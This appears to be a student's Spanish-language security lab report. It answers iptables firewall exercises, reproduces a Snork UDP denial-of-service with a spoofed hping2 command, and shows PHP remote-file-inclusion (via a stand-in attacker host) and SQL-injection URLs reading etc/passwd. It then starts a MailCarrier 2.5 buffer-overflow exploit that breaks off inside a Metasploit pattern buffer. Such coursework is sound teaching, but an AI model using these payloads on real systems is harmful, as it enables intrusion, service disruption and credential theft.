3. ¿Cuál es la utilidad de la regla (6)? ¿Por qué es necesario incluirla? ¿Qué


ocurriría si la eliminamos?
La regla (6) permite el acceso local al host, además muchas aplicaciones y
servicios de networking necesitan conectarse al localhost, por ejemplo MySQL,
y si no se incluye está regla que es de INPUT, la política por defecto la
DENEGARIA.

4. ¿Cuál es la utilidad de la regla (7)? ¿Qué ocurriría si la eliminamos?

La regla (7) permite conexiones hacia nuestra máquina en todas las interfaces,
conexiones cuyo estado se encuentre en ESTABLISHED o en RELATED, si la
eliminamos permitiremos que máquinas con las que no hemos establecido
conexiones puedan ejecutar conexiones (denominadas NEW), pings o port
scanners a nuestra máquina.

5. ¿Según el script mostrado, a qué tipo de máquina correspondería este


cortafuego (servidor, router, estación de trabajo)?

Este cortafuego es más apropiado para una estación de trabajo, ya que se le


protege de amenazas entrantes o que puedan ser redireccionadas a través de
sus interfaces y se le permite acceder a los contenidos de servidores y
aplicaciones en el exterior (Internet, correo, otros).

Ejercicio 2

Dado el siguiente script con comandos de configuración para Iptables:

(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT DROP
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A OUTPUT -o lo -j ACCEPT
(8) iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
(9) iptables -A INPUT -p tcp --dport 80 -j ACCEPT
(10) iptables -A INPUT -p tcp --dport 22 -j ACCEPT

Preguntas:
1. ¿Cuál es la utilidad de la regla (8)?

La regla (8) permite tráfico saliente de conexiones previamente establecidas o


relacionadas con otra conexión establecida.

2. ¿Cuál es la utilidad de la regla (9)? ¿Qué servicio funciona a través suyo?

La regla (9) permite el tráfico de entrada que tiene como destino el puerto TCP
80 que corresponde al servicio web o HTTP.
3. ¿Cuál es la utilidad de la regla (10)? ¿Qué servicio funciona a través suyo?
La regla (10) permite el tráfico de entrada con destino al puerto TCP 22 que
corresponde al servicio SSH (Secure Shell) que es un servicio similar a Telnet
pero que permite cifrar la información para hacerla ilegible a una tercera
persona que interrumpa la conexión.

4. ¿Según el script mostrado, a qué tipo de máquina correspondería este


cortafuegos (servidor, router, estación de trabajo)?

Según el script este cortafuegos correspondería a un servidor que ofrece


servicio web y SSH.

5. ¿Permitiría este cortafuegos que nuestra máquina ofrezca servicio web


seguro (SSL)? En caso negativo, añadir una regla que lo permita.

No, este cortafuegos no permite el uso de HTTPS ya que no hay una regla
establecida y la política por defecto es para denegar cualquier conexión cuya
regla de aceptación no esté especificada. Para permitir HTTPS es necesario
incluir la siguiente regla:

iptables -A INPUT -m state --state NEW,ESTABLISHED,RELATED -p tcp --


dport 443 -j ACCEPT

6. ¿Permitiría este cortafuegos que nuestra máquina ofrezca servicio de


resolución de nombres (DNS)? En caso negativo, añadid una regla que lo
permita.

No permite servicio DNS ya que la regla no está especificada y cualquier tráfico


de entrada no especificado tiene como política por defecto ser denegado. Hay
que añadir la siguiente regla para que permita ofrecer servicio DNS:

Iptables –A INPUT –m state –state NEW,ESTABLISHED,RELATED -p udp --


dport 53 -j ACCEPT

7. Añadir una regla que permita que esta máquina reciba y responda a
peticiones ping, pero que no lo haga vulnerable a ataques de inundación
(flood).

iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT

Con esta regla se restringen los paquetes ping a uno por segundo, ósea que
como máximo en un día se reciben 86000 pings, el servicio ping sigue vigente
pero está fuera del alcance de una inundación de pings.
8. Después de añadir o modificar las reglas tal como se pide en los apartados
anteriores, y suponiendo que todos los servicios permitidos están activos,
mostrar de forma aproximada el resultado de realizar una exploración mediante
Nmap de los puertos TCP de esta máquina desde otra máquina.

Ejercicio 3

Supongamos que queremos configurar, mediante Iptables, el cortafuegos de la


máquina que actúa como router de acceso a Internet de una LAN formada por
un servidor web y tres estaciones de trabajo.

Inicialmente partimos del siguiente Script:

(1) iptables -F
(2) iptables -X
(3) iptables -P INPUT DROP
(4) iptables -P OUTPUT DROP
(5) iptables -P FORWARD DROP
(6) iptables -A INPUT -i lo -j ACCEPT
(7) iptables -A OUTPUT -o lo -j ACCEPT
(8) iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j
ACCEPT
(9) iptables -A FORWARD -i eth0 -p tcp --dport 80 -j ACCEPT
(10) iptables -A FORWARD -i eth0 -d 155.3.19.15 -p udp --dport 53 -j ACCEPT

Preguntas:

1. ¿Cuál es la utilidad de la regla (9)?

Acepta o permite el acceso a los paquetes que “cruzan” por la interfaz


Ethernet0 cuyo puerto de destino es el puerto 80 (servicio web).

2. ¿Cuál es la utilidad de la regla (10)?

La regla (10) le permite al servidor y a las estaciones de trabajo conectarse a


un servidor DNS para poder traducir los nombres de dominio a sus respectivas
IP‟s.
3. Escribir una regla que permita que nuestro servidor (solamente él) ofrezca
servicios web al resto de Internet (su IP es la 200.10.10.1).

iptables -A FORWARD –i eth1 -d 200.10.10.1 -p tcp --dport 80 -j ACCEPT

4. Escribir una/s regla/s que permita/n que nuestro servidor web ofrezca el
servicio UDP CHARGEN al resto de Internet pero que no sea vulnerable al
ataque Snork.

El ataque Snork es un ataque de denegación de servicios (DoS), consiste en


mandar paquetes ECHO Request al servicio CHARGEN de una máquina para
de que de ese modo comience un “juego de ping pong” infinito entre las dos
máquinas y se consuma el ancho de banda de la conexión, se degrade el
rendimiento de la red y del procesador de las máquinas.

1) Se envía un ECHO REQUEST al servicio CHARGEN de la víctima desde


una PC “lanzadera” para no comprometerse directamente.

2) El servicio CHARGEN de la víctima responde con una generación aleatoria


de caracteres, el ECHO de la máquina “lanzadera” responde con una petición
igual al CHARGEN, y así empieza el “toma y dame”.

Para la experiencia se decidió implementar el escenario de un ataque Snork

La máquina lanzadera tiene como IP 192.168.30.105, en está debemos


habilitar el servicio ECHO por el puerto UDP 7, en Ubuntu se hace de la
siguiente manera

sudo apt-get install xinetd

cd /etc/xinetd.d

Editar el archivo echo de la siguiente manera

service echo
{
type = INTERNAL UNLISTED
id = echo-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
disable = no
port =7
FLAGS = IPv6 IPv4
}
La máquina vícitima tiene como IP 192.168.30.106, en esta debemos habilitar
el servicio CHARGEN por el puerto UDP 19, en Ubuntu se hace de la siguiente
manera

service chargen
{
type = INTERNAL UNLISTED
id = echo-dgram
socket_type = dgram
protocol = udp
user = root
wait = yes
disable = no
port = 19
FLAGS = IPv6 IPv4
}

Para realizar el ataque se utiliza el programa hping2 que permite enviar


paquetes UDP especificando puerto de origen, puerto de destino, IP
atacante, IP víctima e interfaz

root@telematica-desktop:# hping2 --udp --baseport 7 --destport 19 --keep -a


192.168.30.105 192.168.30.106 -I eth0

A continuación pantallazo del ataque

En la máquina Lanzadera
Ejecutando tcpdump –i eth0 „(host 192.168.30.105 and udp) en la máquina
víctima

“Juego de ping pong” visto desde la máquina víctima

Volviendo a lo que se pide en el ejercicio, se sabe que el ECHO está usa el


puerto UDP 7 y que CHARGEN usa el puerto UDP 19, la regla en IPTABLES
debe restringir la comunicación entre esos puertos para evitar una ataque
Snork y a la vez se permite que otros servicios puedan seguir conectándose al
CHARGEN.

iptables -A INPUT -p udp --sport 7 --dport 19 -j DROP

Ahora en la máquina víctima se puede observar como los “ECHOS” no son


respondidos por el CHARGEN
5. Indicar como un intruso, aprovechando una vulnerabilidad de nuestro
servidor web podría atacar a las estaciones de trabajo de nuestra LAN.
Proponed cambios en la arquitectura para que esto no pueda ocurrir.

Existen varias formas para que por medio de una vulnerabilidad en el servidor
web las estaciones sean atacadas, se mencionaran algunas:

1. El programa que corre el servicio web tiene una vulnerabilidad de


desbordamiento del buffer de pila (Stack Buffer Overflow).

Si el servidor tiene está vulnerabilidad un atacante puede aprovecharla para


introducir un “shellcode” que él quiera que se ejecute en la máquina, por
ejemplo puede introducir un código que ejecute un bind shell de esta forma
obtiene una shell o prompt de línea de comandos del servidor y puede hurgar
en los archivos que comparten las estaciones con el servidor vía http, entre
ellos archivos de passwords, de autenticaciones en línea, etc. O por otro lado
puede implantar programas disfrazados de archivos que comúnmente soliciten
las estaciones de trabajo al servidor e “infectarlas” directamente para
posteriormente controlarlas o hurgar en sus archivos.

2. El servidor web tiene PHP vulnerable

Inclusión remota de archivos:

Por ejemplo si en las páginas alojadas por nuestro servidor web hay
fragmentos de código similar al siguiente:
<?php
$pagina = $_GET [„pagina‟];
include $pagina;
?>

Un atacante puede incluir remotamente sus propios archivos o scripts


maliciosos en el servidor y atacar nuestras estaciones de trabajo utilizando una
línea en su navegador similar a esta:

http://nuestroservidor.com/nuestro.php?pagina=http://hackermalo.com/scriptdehackermalo.sh%00

SQL Injection

Por ejemplo si en las páginas alojadas por nuestro servidor hay fragmentos de
código similar al siguiente:

<?php
$id = $_GET [„id‟];
$result = mysql_query (“SELECT name FROM members WHERE id = „$id‟”);
?>

La variable “id” no está filtrada y se puede inyectar SQL en la variable “id” de


una forma similar a la siguiente:

http://nuestroservidor.com/nuestro.php?id=1+union+all+select+1,null,load_file(„etc/passwd‟),4--

El atacante obtiene el archivo “etc/passwd” y puede conocer las contraseñas de


nuestras estaciones de trabajo y atacarlas posteriormente.

Para evitar ataques desde internet o redes externas se sugiere una arquitectura
de Screened Subnet o DMZ (Demilitarized Zone), esto con el objeto de que se
implementen los siguientes escenarios:

1. Tres niveles de defensa para frustrar a los intrusos.

2. El router externo sólo revele a Internet y a las redes externas la existencia de


la subred protegida o zona desmilitarizada; por lo que la red interna es invisible
para dichas redes.

3. El router interno sólo revela a la red interna la existencia de la subred


protegida o zona desmilitarizada, entonces las estaciones de la red interna no
pueden construir rutas directas a redes externas.

En la arquitectura DMZ se usan dos routers de filtrado de paquetes (firewalls),


uno ubicado entre la DMZ y las redes externas y el otro entre la DMZ y la red
interna. Esta configuración crea una red aislada, que puede constar
simplemente de un host bastión, pero que también puede incluir uno o más
servidores de información y módems para proporcionar acceso telefónico
entrante. Normalmente Internet y la red interna tienen acceso a los
computadores de la DMZ, pero el tráfico a través de la DMZ está bloqueado.

El host bastión posee las siguientes características básicas:

Solamente se le instalarán los servicios que el administrador de la red


considere esenciales. Entre ellos se incluyen aplicaciones proxy como, por
ejemplo, Telnet, DNS, FTP, SMTP y autenticación de usuarios.

Puede solicitar autenticación adicional antes de permitirle a un usuario acceder


a los servicios proxy. Además cada servicio proxy podría solicitar su propia
autenticación antes de conceder acceso al usuario.

Cada proxy se configura para admitir solamente un subconjunto del conjunto de


comandos de las aplicaciones estándar.

Cada proxy se configura para permitir el acceso solamente a computadores


específicos. Esto significa que el conjunto limitado de comandos podría
aplicarse solo a un subconjunto de sistemas de la red protegida.

Cada proxy mantiene información de auditoría detallada registrando todo el


tráfico, cada conexión y la duración de cada conexión. El registro de auditoría
es una herramienta fundamental para descubrir y finalizar ataques de intrusos.

Generalmente, un proxy no realiza accesos a disco excepto para leer su fichero


de configuración inicial. Esto dificulta que un intruso instale caballos de Troya
para obtener información u otros ficheros dañinos en el computador bastión.
Se muestra dos imágenes que ilustran la arquitectura DMZ, con los dos routers
de filtrado en las periferias de la red del host bastión, el host bastión y algunos
servidores de información que pueden estar ubicados en la red del bastión.
También podemos, si necesitamos mayores niveles de seguridad, definir varias
redes perimétricas en serie, situando los servicios que requieran de menor
fiabilidad en las redes más externas: así, el atacante tendrá que saltar por
todas y cada una de ellas para acceder a nuestros equipos; evidentemente, si
en cada red perimétrica se siguen las mismas reglas de filtrado, niveles
adicionales no proporcionan mayor seguridad.

La arquitectura DMZ es la que mayores niveles de seguridad puede


proporcionar, no se trata de la panacea de los cortafuegos. Evidentemente
existen problemas relacionados con este modelo: por ejemplo, se puede utilizar
el firewall para que los servicios fiables pasen directamente sin acceder al
bastión, lo que puede dar lugar a un incumplimiento de la política de la
organización. Un segundo problema, quizás más grave, es que la mayor parte
de la seguridad reside en los routers utilizados; como es sabido las reglas de
filtrado sobre estos elementos pueden ser complicadas de configurar y
comprobar, lo que puede dar lugar a errores que abran importantes brechas de
seguridad en nuestro sistema.
Laboratorio de Seguridad Informática
Ejercicios Práctica # 8
Juan Camilo Correa Chica 1128270222
Profesor: David Mora Rodríguez

Exploit MailCarrier2.5 (Buffer Overflow)

La primera parte de la práctica (para los duros de corazón) era entrar en el sitio
web del curso y dar clic en los interrogantes (????).

Una vez allí aparecía la siguiente imagen

Según algunos documentos que había leído en la red se me ocurrió que podría
tratarse de un caso sencillo de esteganografia, para corroborarlo le di clic
derecho a la imagen para descargarla y efectivamente mi duda quedo
solucionada pues esta pequeña imagen en escala de grises tenía un peso
aproximado de 8,1M lo cual es bastante sospechoso ya que la imagen no
debería pesar tanto, cuando mucho algunos miles de Kbytes.

Pero igual esto no solucionaba nada ya que yo no sé nada de esteganografia,


leyendo un poco más en la red pude documentarme acerca de algunos
métodos para esconder archivos en imágenes, uno de ellos era utilizar
imagenenes de formato JTIF (JPEG Tagged Interchange Format Image) o simplemente
JPEG para guardar archivos en los bits menos significativos de la imagen o
inclusive después de la imagen. Investigando un poco más en la red pude
observar que el payload de una imagen JPEG tiene una “marca” final y una
inicial que pueden ser observadas usando un editor hexadecimal en la imagen,
dichas “marcas” son, la inicial FFD8 y la final FFD9, el contenido de la imagen
se encuentra entre estas “marcas”. Una vez sabido esto utilice el Bless
HexEditor de Linux en la imagen, pude constatar la información anterior y
además pude descubrir que el archivo secreto empezaba justo donde acababa
la imagen pero no podía saber que era porque en el editor el final de la imagen
se veía así “…P.E.P.E.P.E…” y donde comenzaba el archivo secreto había una
secuencia larguísima de caracteres que al parecer no tenían ningún sentido
hasta el final del archivo, algo como esto:
TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24s
IGJ1dCBieSB0aGlzIHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWx
zLCB3aGljaCBpcyBhIGx1c3Qgb2YgdGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJ
zZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGludWVkIGFuZCBpb
mRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIH
RoZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4

Una vez más acudí a la información en la red y aprendí que estos caracteres
corresponden a un esquema de codificación llamado Base64 y que existían
algunas herramientas para decodificarlo, de las muchas que vi una en especial
fue la que más me llamo la atención y que por cierto utilice para decodificar el
código en Base64, es un script hecho en Python que recibe como argumentos
el archivo de texto donde está escrito el código y como segundo argumento el
nombre de archivo y la ruta donde se quiere almacenar lo que resulte del
proceso de decodificación.

El script limpio y sin ninguna modificación luce así:

## {{{ http://code.activestate.com/recipes/212198/ (r3)

import sys, base64

if len(sys.argv) < 3:
print """Usage: %s in_b64_enc_file out_dec_file

in_b64_enc_file - The Base64 encoded file to be converted


out_dec_file - The output decoded file
"""%sys.argv[0]
sys.exit(0)

base64.decode(open(sys.argv[1], 'rb'), open(sys.argv[2], 'wb'))

## end of http://code.activestate.com/recipes/212198/ }}}

Para poder usarlo guarde el código Base64 en un archivo llamado code.txt y


decidi que el archivo de resultados se llamaría “decodificado”

Ahora el código se veía así:


import sys, base64

if len(sys.argv) < 3:
print """Usage: %s in_b64_enc_file out_dec_file

in_b64_enc_file - The Base64 encoded file to be converted


out_dec_file - The output decoded file
"""%sys.argv[0]
sys.exit(0)

open("/home/camilo/Escritorio/decodificado",
wb').write(base64.decodestring('\n'.join(open("/home/camilo/Escritorio/code.txt",
'rb').readlines())))

Una vez hecho, en mi escritorio apareció un archivador llamado “decodificado”,


al abrirlo encontré que contenía dos archivos, poc.py (un script de python) y un
ejecutable llamado mailcarrier25.exe, por ende, ya tenía el archivo secreto.

Al abrir el archivo poc.py se obtenía el siguiente script:

Luego se procede entonces a ejecutar el mailcarrier25.exe y configurar el


servidor SMTP que es el que tiene la vulnerabilidad de desbordamiento de
buffer.
La idea es enviar tantos caracteres como sea necesario para descubrir con
cuantos caracteres se desborda la pila del programa y de ese modo ver en que
dirección se reescribe el registro apuntador de instrucciones (EIP) para de este
modo aprovechar y en un intento posterior enviar una instrucción al EIP en la
que se apunte a un código que se quiere que ejecute el programa.

Hay varios métodos para desbordar la pila y ver en que dirección se


sobrescribe el EIP, uno de los métodos es el tanteo, entonces primero se
manda por ejemplo el carácter “A” unas 10000 veces de ese modo el buffer que
se enviaría sería buffer = „A‟*10000, una vez se compruebe el desbordamiento
de la pila se hace una segunda iteración pero esta vez se mandan 5000 “A” y
5000 “B”, de ese modo el buffer queda, buffer = „A‟*5000+‟B‟*5000, y una vez
se observe en que caracteres se sobrescribe el EIP se divide de nuevo esa
parte y se itera, por ejemplo si esta vez el EIP quedo con caracteres „B‟
entonces ahora se mandan 5000 “A”, 2500 ”B” y 2500 “C” quedando el buffer
así, buffer = „A‟*5000+‟B‟*2500+‟C‟*2500, y así sucesivamente se partirá de
nuevo en mitades la parte que sobrescribe al EIP y en un máximo de 8 o 9
iteraciones se descubre la posición de caracteres en la que queda apuntando el
EIP. Pero al igual que muchas cosas en computación este método ya esta
automatizado y no es necesario gastarse haciendo esas iteraciones, existe una
“suite” para realizar tests de penetración que se llama “Metasploit Framework”,
esta “suite” contiene numerosas herramientas y códigos listos para realizar
penetraciones en sistemas explotando sus vulnerabilidades, para realizar la
tarea vamos a utilizar 3 herramientas de esta “suite”, la primera la utilizaremos
para crear un buffer de algún tamaño pero con una característica especial y es
que este buffer está conformado por líneas de 4 caracteres contiguas que no
se repiten hasta el final del buffer, esto se hace en el Metasploit de la siguiente
manera:

La herramienta se llama pattern_create.rb y recibe como argumento el tamaño


de buffer que se quiere, una vez hecho esto el resultado es:

buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5A
e6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag
9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2
Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5A
l6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An
9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2
Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5A
s6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au
9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2
Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5A
z6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb
9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2
Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5B
g6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi
9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2
Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5B
n6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp
9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2
Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5B
u6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw
9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2
Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5C
b6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd
9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2
Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5C
i6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck
9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2
Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5C
p6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr
9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2
Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5C
w6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy
9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2
Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5D
d6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df
9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2
Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5D
k6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm
9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2
Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5D
r6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt
9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2
Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5D
y6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea
9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2
Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5E
f6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh
9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2
Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5E
m6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo
9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2
Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5E
t6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev
9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2
Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5F
a6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc
9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2
Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5F
h6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj
9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2
Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5F
o6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq
9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2
Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5F
v6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx
9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2
